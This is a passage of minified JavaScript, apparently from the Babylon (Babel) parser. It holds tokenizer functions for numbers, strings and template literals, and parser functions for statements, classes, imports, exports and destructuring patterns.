this.finishToken(R.regexp,{pattern:i,flags:s})},e.prototype.readInt=function(e,t){for(var r=this.state.pos,n=0,i=0,s=null==t?1/0:t;i<s;++i){var a=this.input.charCodeAt(this.state.pos),o=void 0;if((o=a>=97?a-97+10:a>=65?a-65+10:a>=48&&a<=57?a-48:1/0)>=e)break;++this.state.pos,n=n*e+o}return this.state.pos===r||null!=t&&this.state.pos-r!==t?null:n},e.prototype.readRadixNumber=function(e){this.state.pos+=2;var t=this.readInt(e);return null==t&&this.raise(this.state.start+2,"Expected number in radix "+e),i(this.fullCharCodeAtPos())&&this.raise(this.state.pos,"Identifier directly after number"),this.finishToken(R.num,t)},e.prototype.readNumber=function(e){var t=this.state.pos,r=48===this.input.charCodeAt(t),n=!1;e||null!==this.readInt(10)||this.raise(t,"Invalid number"),r&&this.state.pos==t+1&&(r=!1);var s=this.input.charCodeAt(this.state.pos);46!==s||r||(++this.state.pos,this.readInt(10),n=!0,s=this.input.charCodeAt(this.state.pos)),69!==s&&101!==s||r||(s=this.input.charCodeAt(++this.state.pos),43!==s&&45!==s||++this.state.pos,null===this.readInt(10)&&this.raise(t,"Invalid number"),n=!0),i(this.fullCharCodeAtPos())&&this.raise(this.state.pos,"Identifier directly after number");var a=this.input.slice(t,this.state.pos),o=void 0;return n?o=parseFloat(a):r&&1!==a.length?this.state.strict?this.raise(t,"Invalid number"):o=/[89]/.test(a)?parseInt(a,10):parseInt(a,8):o=parseInt(a,10),this.finishToken(R.num,o)},e.prototype.readCodePoint=function(e){var t=this.input.charCodeAt(this.state.pos),r=void 0;if(123===t){var n=++this.state.pos;if(r=this.readHexChar(this.input.indexOf("}",this.state.pos)-this.state.pos,e),++this.state.pos,null===r)--this.state.invalidTemplateEscapePosition;else if(r>1114111){if(!e)return this.state.invalidTemplateEscapePosition=n-2,null;this.raise(n,"Code point out of bounds")}}else r=this.readHexChar(4,e);return r},e.prototype.readString=function(e){for(var t="",r=++this.state.pos;;){this.state.pos>=this.input.length&&this.raise(this.state.start,"Unterminated string constant");var n=this.input.charCodeAt(this.state.pos);if(n===e)break;92===n?(t+=this.input.slice(r,this.state.pos),t+=this.readEscapedChar(!1),r=this.state.pos):(o(n)&&this.raise(this.state.start,"Unterminated string constant"),++this.state.pos)}return t+=this.input.slice(r,this.state.pos++),this.finishToken(R.string,t)},e.prototype.readTmplToken=function(){for(var e="",t=this.state.pos,r=!1;;){this.state.pos>=this.input.length&&this.raise(this.state.start,"Unterminated template");var n=this.input.charCodeAt(this.state.pos);if(96===n||36===n&&123===this.input.charCodeAt(this.state.pos+1))return this.state.pos===this.state.start&&this.match(R.template)?36===n?(this.state.pos+=2,this.finishToken(R.dollarBraceL)):(++this.state.pos,this.finishToken(R.backQuote)):(e+=this.input.slice(t,this.state.pos),this.finishToken(R.template,r?null:e));if(92===n){e+=this.input.slice(t,this.state.pos);var i=this.readEscapedChar(!0);null===i?r=!0:e+=i,t=this.state.pos}else if(o(n)){switch(e+=this.input.slice(t,this.state.pos),++this.state.pos,n){case 13:10===this.input.charCodeAt(this.state.pos)&&++this.state.pos;case 10:e+="\n";break;default:e+=String.fromCharCode(n)}++this.state.curLine,this.state.lineStart=this.state.pos,t=this.state.pos}else++this.state.pos}},e.prototype.readEscapedChar=function(e){var t=!e,r=this.input.charCodeAt(++this.state.pos);switch(++this.state.pos,r){case 110:return"\n";case 114:return"\r";case 120:var n=this.readHexChar(2,t);return null===n?null:String.fromCharCode(n);case 117:var i=this.readCodePoint(t);return null===i?null:l(i);case 116:return"\t";case 98:return"\b";case 118:return"\v";case 102:return"\f";case 13:10===this.input.charCodeAt(this.state.pos)&&++this.state.pos;case 10:return this.state.lineStart=this.state.pos,++this.state.curLine,"";default:if(r>=48&&r<=55){var s=this.state.pos-1,a=this.input.substr(this.state.pos-1,3).match(/^[0-7]+/)[0],o=parseInt(a,8);if(o>255&&(a=a.slice(0,-1),o=parseInt(a,8)),o>0){if(e)return this.state.invalidTemplateEscapePosition=s,null;this.state.strict?this.raise(s,"Octal literal in strict mode"):this.state.containsOctal||(this.state.containsOctal=!0,this.state.octalPosition=s)}return this.state.pos+=a.length-1,String.fromCharCode(o)}return String.fromCharCode(r)}},e.prototype.readHexChar=function(e,t){var r=this.state.pos,n=this.readInt(16,e);return null===n&&(t?this.raise(r,"Bad character escape sequence"):(this.state.pos=r-1,this.state.invalidTemplateEscapePosition=r-1)),n},e.prototype.readWord1=function(){this.state.containsEsc=!1;for(var e="",t=!0,r=this.state.pos;this.state.pos<this.input.length;){var n=this.fullCharCodeAtPos();if(s(n))this.state.pos+=n<=65535?1:2;else{if(92!==n)break;this.state.containsEsc=!0,e+=this.input.slice(r,this.state.pos);var a=this.state.pos;117!==this.input.charCodeAt(++this.state.pos)&&this.raise(this.state.pos,"Expecting Unicode escape sequence \\uXXXX"),++this.state.pos;var o=this.readCodePoint(!0);(t?i:s)(o,!0)||this.raise(a,"Invalid Unicode escape"),e+=l(o),r=this.state.pos}t=!1}return e+this.input.slice(r,this.state.pos)},e.prototype.readWord=function(){var e=this.readWord1(),t=R.name;return!this.state.containsEsc&&this.isKeyword(e)&&(t=I[e]),this.finishToken(t,e)},e.prototype.braceIsBlock=function(e){if(e===R.colon){var t=this.curContext();if(t===U.braceStatement||t===U.braceExpression)return!t.isExpr}return e===R._return?M.test(this.input.slice(this.state.lastTokEnd,this.state.start)):e===R._else||e===R.semi||e===R.eof||e===R.parenR||(e===R.braceL?this.curContext()===U.braceStatement:!this.state.exprAllowed)},e.prototype.updateContext=function(e){var t=this.state.type,r=void 0;t.keyword&&e===R.dot?this.state.exprAllowed=!1:(r=t.updateContext)?r.call(this,e):this.state.exprAllowed=t.beforeExpr},e}(),K={},H=["jsx","doExpressions","objectRestSpread","decorators","classProperties","exportExtensions","asyncGenerators","functionBind","functionSent","dynamicImport","flow"],J=function(e){function t(r,n){w(this,t),r=a(r);var i=k(this,e.call(this,r,n));return i.options=r,i.inModule="module"===i.options.sourceType,i.input=n,i.plugins=i.loadPlugins(i.options.plugins),i.filename=r.sourceFilename,0===i.state.pos&&"#"===i.input[0]&&"!"===i.input[1]&&i.skipLineComment(2),i}return P(t,e),t.prototype.isReservedWord=function(e){return"await"===e?this.inModule:v[6](e)},t.prototype.hasPlugin=function(e){return!!(this.plugins["*"]&&H.indexOf(e)>-1)||!!this.plugins[e]},t.prototype.extend=function(e,t){this[e]=t(this[e])},t.prototype.loadAllPlugins=function(){var e=this,t=Object.keys(K).filter(function(e){return"flow"!==e&&"estree"!==e});t.push("flow"),t.forEach(function(t){var r=K[t];r&&r(e)})},t.prototype.loadPlugins=function(e){if(e.indexOf("*")>=0)return this.loadAllPlugins(),{"*":!0};var t={};e.indexOf("flow")>=0&&(e=e.filter(function(e){return"flow"!==e}),e.push("flow")),e.indexOf("estree")>=0&&(e=e.filter(function(e){return"estree"!==e}),e.unshift("estree"));for(var r=e,n=Array.isArray(r),i=0,r=n?r:r[Symbol.iterator]();;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var a=s;if(!t[a]){t[a]=!0;var o=K[a];o&&o(this)}}return t},t.prototype.parse=function(){var e=this.startNode(),t=this.startNode();return this.nextToken(),this.parseTopLevel(e,t)},t}(q),X=J.prototype;X.addExtra=function(e,t,r){if(e){(e.extra=e.extra||{})[t]=r}},X.isRelational=function(e){return this.match(R.relational)&&this.state.value===e},X.expectRelational=function(e){this.isRelational(e)?this.next():this.unexpected(null,R.relational)},X.isContextual=function(e){return this.match(R.name)&&this.state.value===e},X.eatContextual=function(e){return this.state.value===e&&this.eat(R.name)},X.expectContextual=function(e,t){this.eatContextual(e)||this.unexpected(null,t)},X.canInsertSemicolon=function(){return this.match(R.eof)||this.match(R.braceR)||M.test(this.input.slice(this.state.lastTokEnd,this.state.start))},X.isLineTerminator=function(){return this.eat(R.semi)||this.canInsertSemicolon()},X.semicolon=function(){this.isLineTerminator()||this.unexpected(null,R.semi)},X.expect=function(e,t){return this.eat(e)||this.unexpected(t,e)},X.unexpected=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"Unexpected token";t&&"object"===(void 0===t?"undefined":C(t))&&t.label&&(t="Unexpected token, expected "+t.label),this.raise(null!=e?e:this.state.start,t)};var z=J.prototype;z.parseTopLevel=function(e,t){return t.sourceType=this.options.sourceType,this.parseBlockBody(t,!0,!0,R.eof),e.program=this.finishNode(t,"Program"),e.comments=this.state.comments,e.tokens=this.state.tokens,this.finishNode(e,"File")};var $={kind:"loop"},Q={kind:"switch"};z.stmtToDirective=function(e){var t=e.expression,r=this.startNodeAt(t.start,t.loc.start),n=this.startNodeAt(e.start,e.loc.start),i=this.input.slice(t.start,t.end),s=r.value=i.slice(1,-1);return this.addExtra(r,"raw",i),this.addExtra(r,"rawValue",s),n.value=this.finishNodeAt(r,"DirectiveLiteral",t.end,t.loc.end),this.finishNodeAt(n,"Directive",e.end,e.loc.end)},z.parseStatement=function(e,t){this.match(R.at)&&this.parseDecorators(!0);var r=this.state.type,n=this.startNode();switch(r){case R._break:case R._continue:return this.parseBreakContinueStatement(n,r.keyword);case R._debugger:return this.parseDebuggerStatement(n);case R._do:return this.parseDoStatement(n);case R._for:return this.parseForStatement(n);case R._function:return e||this.unexpected(),this.parseFunctionStatement(n);case R._class:return e||this.unexpected(),this.parseClass(n,!0);case R._if:return this.parseIfStatement(n);case R._return:return this.parseReturnStatement(n);case R._switch:return this.parseSwitchStatement(n);case R._throw:return this.parseThrowStatement(n);case R._try:return this.parseTryStatement(n);case R._let:case R._const:e||this.unexpected();case R._var:return this.parseVarStatement(n,r);case R._while:return this.parseWhileStatement(n);case R._with:return this.parseWithStatement(n);case R.braceL:return this.parseBlock();case R.semi:return this.parseEmptyStatement(n);case R._export:case R._import:if(this.hasPlugin("dynamicImport")&&this.lookahead().type===R.parenL)break;return this.options.allowImportExportEverywhere||(t||this.raise(this.state.start,"'import' and 'export' may only appear at the top level"),this.inModule||this.raise(this.state.start,"'import' and 'export' may appear only with 'sourceType: \"module\"'")),r===R._import?this.parseImport(n):this.parseExport(n);case R.name:if("async"===this.state.value){var i=this.state.clone();if(this.next(),this.match(R._function)&&!this.canInsertSemicolon())return this.expect(R._function),this.parseFunction(n,!0,!1,!0);this.state=i}}var s=this.state.value,a=this.parseExpression();return r===R.name&&"Identifier"===a.type&&this.eat(R.colon)?this.parseLabeledStatement(n,s,a):this.parseExpressionStatement(n,a)},z.takeDecorators=function(e){this.state.decorators.length&&(e.decorators=this.state.decorators,this.state.decorators=[])},z.parseDecorators=function(e){for(;this.match(R.at);){var t=this.parseDecorator();this.state.decorators.push(t)}e&&this.match(R._export)||this.match(R._class)||this.raise(this.state.start,"Leading decorators must be attached to a class declaration")},z.parseDecorator=function(){this.hasPlugin("decorators")||this.unexpected();var e=this.startNode();return this.next(),e.expression=this.parseMaybeAssign(),this.finishNode(e,"Decorator")},z.parseBreakContinueStatement=function(e,t){var r="break"===t;this.next(),this.isLineTerminator()?e.label=null:this.match(R.name)?(e.label=this.parseIdentifier(),this.semicolon()):this.unexpected();var n=void 0;for(n=0;n<this.state.labels.length;++n){var i=this.state.labels[n];if(null==e.label||i.name===e.label.name){if(null!=i.kind&&(r||"loop"===i.kind))break;if(e.label&&r)break}}return n===this.state.labels.length&&this.raise(e.start,"Unsyntactic "+t),this.finishNode(e,r?"BreakStatement":"ContinueStatement")},z.parseDebuggerStatement=function(e){return this.next(),this.semicolon(),this.finishNode(e,"DebuggerStatement")},z.parseDoStatement=function(e){return this.next(),this.state.labels.push($),e.body=this.parseStatement(!1),this.state.labels.pop(),this.expect(R._while),e.test=this.parseParenExpression(),this.eat(R.semi),this.finishNode(e,"DoWhileStatement")},z.parseForStatement=function(e){this.next(),this.state.labels.push($);var t=!1;if(this.hasPlugin("asyncGenerators")&&this.state.inAsync&&this.isContextual("await")&&(t=!0,this.next()),this.expect(R.parenL),this.match(R.semi))return t&&this.unexpected(),this.parseFor(e,null);if(this.match(R._var)||this.match(R._let)||this.match(R._const)){var r=this.startNode(),n=this.state.type;return this.next(),(this.parseVar(r,!0,n),this.finishNode(r,"VariableDeclaration"),!this.match(R._in)&&!this.isContextual("of")||1!==r.declarations.length||r.declarations[0].init)?(t&&this.unexpected(),
this.parseFor(e,r)):this.parseForIn(e,r,t)}var i={start:0},s=this.parseExpression(!0,i);if(this.match(R._in)||this.isContextual("of")){var a=this.isContextual("of")?"for-of statement":"for-in statement";return this.toAssignable(s,void 0,a),this.checkLVal(s,void 0,void 0,a),this.parseForIn(e,s,t)}return i.start&&this.unexpected(i.start),t&&this.unexpected(),this.parseFor(e,s)},z.parseFunctionStatement=function(e){return this.next(),this.parseFunction(e,!0)},z.parseIfStatement=function(e){return this.next(),e.test=this.parseParenExpression(),e.consequent=this.parseStatement(!1),e.alternate=this.eat(R._else)?this.parseStatement(!1):null,this.finishNode(e,"IfStatement")},z.parseReturnStatement=function(e){return this.state.inFunction||this.options.allowReturnOutsideFunction||this.raise(this.state.start,"'return' outside of function"),this.next(),this.isLineTerminator()?e.argument=null:(e.argument=this.parseExpression(),this.semicolon()),this.finishNode(e,"ReturnStatement")},z.parseSwitchStatement=function(e){this.next(),e.discriminant=this.parseParenExpression(),e.cases=[],this.expect(R.braceL),this.state.labels.push(Q);for(var t,r=void 0;!this.match(R.braceR);)if(this.match(R._case)||this.match(R._default)){var n=this.match(R._case);r&&this.finishNode(r,"SwitchCase"),e.cases.push(r=this.startNode()),r.consequent=[],this.next(),n?r.test=this.parseExpression():(t&&this.raise(this.state.lastTokStart,"Multiple default clauses"),t=!0,r.test=null),this.expect(R.colon)}else r?r.consequent.push(this.parseStatement(!0)):this.unexpected();return r&&this.finishNode(r,"SwitchCase"),this.next(),this.state.labels.pop(),this.finishNode(e,"SwitchStatement")},z.parseThrowStatement=function(e){return this.next(),M.test(this.input.slice(this.state.lastTokEnd,this.state.start))&&this.raise(this.state.lastTokEnd,"Illegal newline after throw"),e.argument=this.parseExpression(),this.semicolon(),this.finishNode(e,"ThrowStatement")};var Z=[];z.parseTryStatement=function(e){if(this.next(),e.block=this.parseBlock(),e.handler=null,this.match(R._catch)){var t=this.startNode();this.next(),this.expect(R.parenL),t.param=this.parseBindingAtom(),this.checkLVal(t.param,!0,Object.create(null),"catch clause"),this.expect(R.parenR),t.body=this.parseBlock(),e.handler=this.finishNode(t,"CatchClause")}return e.guardedHandlers=Z,e.finalizer=this.eat(R._finally)?this.parseBlock():null,e.handler||e.finalizer||this.raise(e.start,"Missing catch or finally clause"),this.finishNode(e,"TryStatement")},z.parseVarStatement=function(e,t){return this.next(),this.parseVar(e,!1,t),this.semicolon(),this.finishNode(e,"VariableDeclaration")},z.parseWhileStatement=function(e){return this.next(),e.test=this.parseParenExpression(),this.state.labels.push($),e.body=this.parseStatement(!1),this.state.labels.pop(),this.finishNode(e,"WhileStatement")},z.parseWithStatement=function(e){return this.state.strict&&this.raise(this.state.start,"'with' in strict mode"),this.next(),e.object=this.parseParenExpression(),e.body=this.parseStatement(!1),this.finishNode(e,"WithStatement")},z.parseEmptyStatement=function(e){return this.next(),this.finishNode(e,"EmptyStatement")},z.parseLabeledStatement=function(e,t,r){for(var n=this.state.labels,i=Array.isArray(n),s=0,n=i?n:n[Symbol.iterator]();;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}a.name===t&&this.raise(r.start,"Label '"+t+"' is already declared")}for(var o=this.state.type.isLoop?"loop":this.match(R._switch)?"switch":null,u=this.state.labels.length-1;u>=0;u--){var l=this.state.labels[u];if(l.statementStart!==e.start)break;l.statementStart=this.state.start,l.kind=o}return this.state.labels.push({name:t,kind:o,statementStart:this.state.start}),e.body=this.parseStatement(!0),this.state.labels.pop(),e.label=r,this.finishNode(e,"LabeledStatement")},z.parseExpressionStatement=function(e,t){return e.expression=t,this.semicolon(),this.finishNode(e,"ExpressionStatement")},z.parseBlock=function(e){var t=this.startNode();return this.expect(R.braceL),this.parseBlockBody(t,e,!1,R.braceR),this.finishNode(t,"BlockStatement")},z.isValidDirective=function(e){return"ExpressionStatement"===e.type&&"StringLiteral"===e.expression.type&&!e.expression.extra.parenthesized},z.parseBlockBody=function(e,t,r,n){e.body=[],e.directives=[];for(var i=!1,s=void 0,a=void 0;!this.eat(n);){i||!this.state.containsOctal||a||(a=this.state.octalPosition);var o=this.parseStatement(!0,r);if(t&&!i&&this.isValidDirective(o)){var u=this.stmtToDirective(o);e.directives.push(u),void 0===s&&"use strict"===u.value.value&&(s=this.state.strict,this.setStrict(!0),a&&this.raise(a,"Octal literal in strict mode"))}else i=!0,e.body.push(o)}!1===s&&this.setStrict(!1)},z.parseFor=function(e,t){return e.init=t,this.expect(R.semi),e.test=this.match(R.semi)?null:this.parseExpression(),this.expect(R.semi),e.update=this.match(R.parenR)?null:this.parseExpression(),this.expect(R.parenR),e.body=this.parseStatement(!1),this.state.labels.pop(),this.finishNode(e,"ForStatement")},z.parseForIn=function(e,t,r){var n=void 0;return r?(this.eatContextual("of"),n="ForAwaitStatement"):(n=this.match(R._in)?"ForInStatement":"ForOfStatement",this.next()),e.left=t,e.right=this.parseExpression(),this.expect(R.parenR),e.body=this.parseStatement(!1),this.state.labels.pop(),this.finishNode(e,n)},z.parseVar=function(e,t,r){for(e.declarations=[],e.kind=r.keyword;;){var n=this.startNode();if(this.parseVarHead(n),this.eat(R.eq)?n.init=this.parseMaybeAssign(t):r!==R._const||this.match(R._in)||this.isContextual("of")?"Identifier"===n.id.type||t&&(this.match(R._in)||this.isContextual("of"))?n.init=null:this.raise(this.state.lastTokEnd,"Complex binding patterns require an initialization value"):this.unexpected(),e.declarations.push(this.finishNode(n,"VariableDeclarator")),!this.eat(R.comma))break}return e},z.parseVarHead=function(e){e.id=this.parseBindingAtom(),this.checkLVal(e.id,!0,void 0,"variable declaration")},z.parseFunction=function(e,t,r,n,i){var s=this.state.inMethod;return this.state.inMethod=!1,this.initFunction(e,n),this.match(R.star)&&(e.async&&!this.hasPlugin("asyncGenerators")?this.unexpected():(e.generator=!0,this.next())),!t||i||this.match(R.name)||this.match(R._yield)||this.unexpected(),(this.match(R.name)||this.match(R._yield))&&(e.id=this.parseBindingIdentifier()),this.parseFunctionParams(e),this.parseFunctionBody(e,r),this.state.inMethod=s,this.finishNode(e,t?"FunctionDeclaration":"FunctionExpression")},z.parseFunctionParams=function(e){this.expect(R.parenL),e.params=this.parseBindingList(R.parenR)},z.parseClass=function(e,t,r){return this.next(),this.takeDecorators(e),this.parseClassId(e,t,r),this.parseClassSuper(e),this.parseClassBody(e),this.finishNode(e,t?"ClassDeclaration":"ClassExpression")},z.isClassProperty=function(){return this.match(R.eq)||this.match(R.semi)||this.match(R.braceR)},z.isClassMethod=function(){return this.match(R.parenL)},z.isNonstaticConstructor=function(e){return!(e.computed||e.static||"constructor"!==e.key.name&&"constructor"!==e.key.value)},z.parseClassBody=function(e){var t=this.state.strict;this.state.strict=!0;var r=!1,n=!1,i=[],s=this.startNode();for(s.body=[],this.expect(R.braceL);!this.eat(R.braceR);)if(this.eat(R.semi))i.length>0&&this.raise(this.state.lastTokEnd,"Decorators must not be followed by a semicolon");else if(this.match(R.at))i.push(this.parseDecorator());else{var a=this.startNode();if(i.length&&(a.decorators=i,i=[]),a.static=!1,this.match(R.name)&&"static"===this.state.value){var o=this.parseIdentifier(!0);if(this.isClassMethod()){a.kind="method",a.computed=!1,a.key=o,this.parseClassMethod(s,a,!1,!1);continue}if(this.isClassProperty()){a.computed=!1,a.key=o,s.body.push(this.parseClassProperty(a));continue}a.static=!0}if(this.eat(R.star))a.kind="method",this.parsePropertyName(a),this.isNonstaticConstructor(a)&&this.raise(a.key.start,"Constructor can't be a generator"),a.computed||!a.static||"prototype"!==a.key.name&&"prototype"!==a.key.value||this.raise(a.key.start,"Classes may not have static property named prototype"),this.parseClassMethod(s,a,!0,!1);else{var u=this.match(R.name),l=this.parsePropertyName(a);if(a.computed||!a.static||"prototype"!==a.key.name&&"prototype"!==a.key.value||this.raise(a.key.start,"Classes may not have static property named prototype"),this.isClassMethod())this.isNonstaticConstructor(a)?(n?this.raise(l.start,"Duplicate constructor in the same class"):a.decorators&&this.raise(a.start,"You can't attach decorators to a class constructor"),n=!0,a.kind="constructor"):a.kind="method",this.parseClassMethod(s,a,!1,!1);else if(this.isClassProperty())this.isNonstaticConstructor(a)&&this.raise(a.key.start,"Classes may not have a non-static field named 'constructor'"),s.body.push(this.parseClassProperty(a));else if(u&&"async"===l.name&&!this.isLineTerminator()){var c=this.hasPlugin("asyncGenerators")&&this.eat(R.star);a.kind="method",this.parsePropertyName(a),this.isNonstaticConstructor(a)&&this.raise(a.key.start,"Constructor can't be an async function"),this.parseClassMethod(s,a,c,!0)}else!u||"get"!==l.name&&"set"!==l.name||this.isLineTerminator()&&this.match(R.star)?this.hasPlugin("classConstructorCall")&&u&&"call"===l.name&&this.match(R.name)&&"constructor"===this.state.value?(r?this.raise(a.start,"Duplicate constructor call in the same class"):a.decorators&&this.raise(a.start,"You can't attach decorators to a class constructor"),r=!0,a.kind="constructorCall",this.parsePropertyName(a),this.parseClassMethod(s,a,!1,!1)):this.isLineTerminator()?(this.isNonstaticConstructor(a)&&this.raise(a.key.start,"Classes may not have a non-static field named 'constructor'"),s.body.push(this.parseClassProperty(a))):this.unexpected():(a.kind=l.name,this.parsePropertyName(a),this.isNonstaticConstructor(a)&&this.raise(a.key.start,"Constructor can't have get/set modifier"),this.parseClassMethod(s,a,!1,!1),this.checkGetterSetterParamCount(a))}}i.length&&this.raise(this.state.start,"You have trailing decorators with no method"),e.body=this.finishNode(s,"ClassBody"),this.state.strict=t},z.parseClassProperty=function(e){return this.state.inClassProperty=!0,this.match(R.eq)?(this.hasPlugin("classProperties")||this.unexpected(),this.next(),e.value=this.parseMaybeAssign()):e.value=null,this.semicolon(),this.state.inClassProperty=!1,this.finishNode(e,"ClassProperty")},z.parseClassMethod=function(e,t,r,n){this.parseMethod(t,r,n),e.body.push(this.finishNode(t,"ClassMethod"))},z.parseClassId=function(e,t,r){this.match(R.name)?e.id=this.parseIdentifier():r||!t?e.id=null:this.unexpected()},z.parseClassSuper=function(e){e.superClass=this.eat(R._extends)?this.parseExprSubscripts():null},z.parseExport=function(e){if(this.next(),this.match(R.star)){var t=this.startNode();if(this.next(),!this.hasPlugin("exportExtensions")||!this.eatContextual("as"))return this.parseExportFrom(e,!0),this.finishNode(e,"ExportAllDeclaration");t.exported=this.parseIdentifier(),e.specifiers=[this.finishNode(t,"ExportNamespaceSpecifier")],this.parseExportSpecifiersMaybe(e),this.parseExportFrom(e,!0)}else if(this.hasPlugin("exportExtensions")&&this.isExportDefaultSpecifier()){var r=this.startNode();if(r.exported=this.parseIdentifier(!0),e.specifiers=[this.finishNode(r,"ExportDefaultSpecifier")],this.match(R.comma)&&this.lookahead().type===R.star){this.expect(R.comma);var n=this.startNode();this.expect(R.star),this.expectContextual("as"),n.exported=this.parseIdentifier(),e.specifiers.push(this.finishNode(n,"ExportNamespaceSpecifier"))}else this.parseExportSpecifiersMaybe(e);this.parseExportFrom(e,!0)}else{if(this.eat(R._default)){var i=this.startNode(),s=!1;return this.eat(R._function)?i=this.parseFunction(i,!0,!1,!1,!0):this.match(R._class)?i=this.parseClass(i,!0,!0):(s=!0,i=this.parseMaybeAssign()),e.declaration=i,s&&this.semicolon(),this.checkExport(e,!0,!0),this.finishNode(e,"ExportDefaultDeclaration")}this.shouldParseExportDeclaration()?(e.specifiers=[],e.source=null,e.declaration=this.parseExportDeclaration(e)):(e.declaration=null,e.specifiers=this.parseExportSpecifiers(),this.parseExportFrom(e))}return this.checkExport(e,!0),this.finishNode(e,"ExportNamedDeclaration")},z.parseExportDeclaration=function(){return this.parseStatement(!0)},z.isExportDefaultSpecifier=function(){if(this.match(R.name))return"async"!==this.state.value;if(!this.match(R._default))return!1;var e=this.lookahead();return e.type===R.comma||e.type===R.name&&"from"===e.value},z.parseExportSpecifiersMaybe=function(e){this.eat(R.comma)&&(e.specifiers=e.specifiers.concat(this.parseExportSpecifiers()))},z.parseExportFrom=function(e,t){this.eatContextual("from")?(e.source=this.match(R.string)?this.parseExprAtom():this.unexpected(),this.checkExport(e)):t?this.unexpected():e.source=null,this.semicolon()},z.shouldParseExportDeclaration=function(){return"var"===this.state.type.keyword||"const"===this.state.type.keyword||"let"===this.state.type.keyword||"function"===this.state.type.keyword||"class"===this.state.type.keyword||this.isContextual("async")},z.checkExport=function(e,t,r){if(t)if(r)this.checkDuplicateExports(e,"default");else if(e.specifiers&&e.specifiers.length)for(var n=e.specifiers,i=Array.isArray(n),s=0,n=i?n:n[Symbol.iterator]();;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}var o=a;this.checkDuplicateExports(o,o.exported.name)}else if(e.declaration)if("FunctionDeclaration"===e.declaration.type||"ClassDeclaration"===e.declaration.type)this.checkDuplicateExports(e,e.declaration.id.name);else if("VariableDeclaration"===e.declaration.type)for(var u=e.declaration.declarations,l=Array.isArray(u),c=0,u=l?u:u[Symbol.iterator]();;){var f;if(l){if(c>=u.length)break;f=u[c++]}else{if(c=u.next(),c.done)break;f=c.value}var p=f;this.checkDeclaration(p.id)}if(this.state.decorators.length){var d=e.declaration&&("ClassDeclaration"===e.declaration.type||"ClassExpression"===e.declaration.type);e.declaration&&d||this.raise(e.start,"You can only use decorators on an export when exporting a class"),this.takeDecorators(e.declaration)}},z.checkDeclaration=function(e){if("ObjectPattern"===e.type)for(var t=e.properties,r=Array.isArray(t),n=0,t=r?t:t[Symbol.iterator]();;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i;this.checkDeclaration(s)}else if("ArrayPattern"===e.type)for(var a=e.elements,o=Array.isArray(a),u=0,a=o?a:a[Symbol.iterator]();;){var l;if(o){if(u>=a.length)break;l=a[u++]}else{if(u=a.next(),u.done)break;l=u.value}var c=l;c&&this.checkDeclaration(c)}else"ObjectProperty"===e.type?this.checkDeclaration(e.value):"RestElement"===e.type||"RestProperty"===e.type?this.checkDeclaration(e.argument):"Identifier"===e.type&&this.checkDuplicateExports(e,e.name)},z.checkDuplicateExports=function(e,t){this.state.exportedIdentifiers.indexOf(t)>-1&&this.raiseDuplicateExportError(e,t),this.state.exportedIdentifiers.push(t)},z.raiseDuplicateExportError=function(e,t){this.raise(e.start,"default"===t?"Only one default export allowed per module.":"`"+t+"` has already been exported. Exported identifiers must be unique.")},z.parseExportSpecifiers=function(){var e=[],t=!0,r=void 0;for(this.expect(R.braceL);!this.eat(R.braceR);){if(t)t=!1;else if(this.expect(R.comma),this.eat(R.braceR))break;var n=this.match(R._default);n&&!r&&(r=!0);var i=this.startNode();i.local=this.parseIdentifier(n),i.exported=this.eatContextual("as")?this.parseIdentifier(!0):i.local.__clone(),e.push(this.finishNode(i,"ExportSpecifier"))}return r&&!this.isContextual("from")&&this.unexpected(),e},z.parseImport=function(e){return this.eat(R._import),this.match(R.string)?(e.specifiers=[],e.source=this.parseExprAtom()):(e.specifiers=[],this.parseImportSpecifiers(e),this.expectContextual("from"),e.source=this.match(R.string)?this.parseExprAtom():this.unexpected()),this.semicolon(),this.finishNode(e,"ImportDeclaration")},z.parseImportSpecifiers=function(e){var t=!0;if(this.match(R.name)){var r=this.state.start,n=this.state.startLoc;if(e.specifiers.push(this.parseImportSpecifierDefault(this.parseIdentifier(),r,n)),!this.eat(R.comma))return}if(this.match(R.star)){var i=this.startNode();return this.next(),this.expectContextual("as"),i.local=this.parseIdentifier(),this.checkLVal(i.local,!0,void 0,"import namespace specifier"),void e.specifiers.push(this.finishNode(i,"ImportNamespaceSpecifier"))}for(this.expect(R.braceL);!this.eat(R.braceR);){if(t)t=!1;else if(this.eat(R.colon)&&this.unexpected(null,"ES2015 named imports do not destructure. Use another statement for destructuring after the import."),this.expect(R.comma),this.eat(R.braceR))break;this.parseImportSpecifier(e)}},z.parseImportSpecifier=function(e){var t=this.startNode();t.imported=this.parseIdentifier(!0),this.eatContextual("as")?t.local=this.parseIdentifier():(this.checkReservedWord(t.imported.name,t.start,!0,!0),t.local=t.imported.__clone()),this.checkLVal(t.local,!0,void 0,"import specifier"),e.specifiers.push(this.finishNode(t,"ImportSpecifier"))},z.parseImportSpecifierDefault=function(e,t,r){var n=this.startNodeAt(t,r);return n.local=e,this.checkLVal(n.local,!0,void 0,"default import specifier"),this.finishNode(n,"ImportDefaultSpecifier")};var ee=J.prototype;ee.toAssignable=function(e,t,r){if(e)switch(e.type){case"Identifier":case"ObjectPattern":case"ArrayPattern":case"AssignmentPattern":break;case"ObjectExpression":e.type="ObjectPattern";for(var n=e.properties,i=Array.isArray(n),s=0,n=i?n:n[Symbol.iterator]();;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}var o=a;"ObjectMethod"===o.type?"get"===o.kind||"set"===o.kind?this.raise(o.key.start,"Object pattern can't contain getter or setter"):this.raise(o.key.start,"Object pattern can't contain methods"):this.toAssignable(o,t,"object destructuring pattern")}break;case"ObjectProperty":this.toAssignable(e.value,t,r);break;case"SpreadProperty":e.type="RestProperty";var u=e.argument;this.toAssignable(u,t,r);break;case"ArrayExpression":e.type="ArrayPattern",this.toAssignableList(e.elements,t,r);break;case"AssignmentExpression":"="===e.operator?(e.type="AssignmentPattern",delete e.operator):this.raise(e.left.end,"Only '=' operator can be used for specifying default value.");break;case"MemberExpression":if(!t)break;default:var l="Invalid left-hand side"+(r?" in "+r:"expression");this.raise(e.start,l)}return e},ee.toAssignableList=function(e,t,r){var n=e.length;if(n){var 